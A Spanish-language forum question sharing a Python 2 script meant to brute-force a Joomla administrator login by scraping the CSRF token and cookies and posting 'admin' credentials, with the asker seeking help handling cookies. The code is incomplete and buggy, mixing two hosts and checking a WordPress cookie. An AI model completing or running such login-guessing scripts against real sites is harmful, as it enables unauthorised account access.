Estoy tratando de hacer un script simple (ataque de fuerza bruta) en Joomla para probar si funciona.
#! /usr/bin/python
import re #regex
import urllib
import urllib2
x = urllib2.urlopen("http://www.demosite.center/joomla/administrator/index.php") #GET Request
find_in = x.read()
cookies=x.headers['set-cookie'] #to get the cookies from get request
the_lhash = re.findall(r"([a-fA-F\d]{32})", find_in) #it'll be list
the_hash = the_lhash[0] #str
print the_hash # the hash from get req
password="demo123"
print password,
url = 'http://demo.opensourcecms.com/joomla/administrator/index.php' # to know the values type any password to know the cookies
values = {"username" : "admin",
"passwd" : password,
"lang" : "" ,
"option" : "com_login",
"task" : "login",
"return" : "aW5kZXgucGhw",
the_hash : "1" } # request with the hash
data = urllib.urlencode(values)
req = urllib2.Request(url, data)
response = urllib2.urlopen(req)
result = response.read()
cookies=response.headers['set-cookie'] #to get the last cookies from post req in this variable
opener = urllib2.build_opener() # send the cookies
opener.addheaders.append(('Cookie', cookies)) # send the cookies
f = opener.open("http://demo.opensourcecms.com/joomla/administrator/index.php")
if cookies.find("wordpress_logged_i")!=-1:
print the_hash +"\n"
print " -> success\n",
else:
print the_hash
print " -> fail\n",
Luego busqué en Google cómo enviar cookies dentro de la misma solicitud POST y encontré:
opener = urllib2.build_opener() # send the cookies
opener.addheaders.append(('Cookie', cookies)) # send the cookies
f = opener.open("http://example")
Pero no sé exactamente dónde debo escribirlo en mi código.
Lo que debo hacer es enviar la solicitud GET, colocar las cookies de la solicitud en una variable y luego realizar una solicitud POST con el valor que obtuve de la solicitud GET.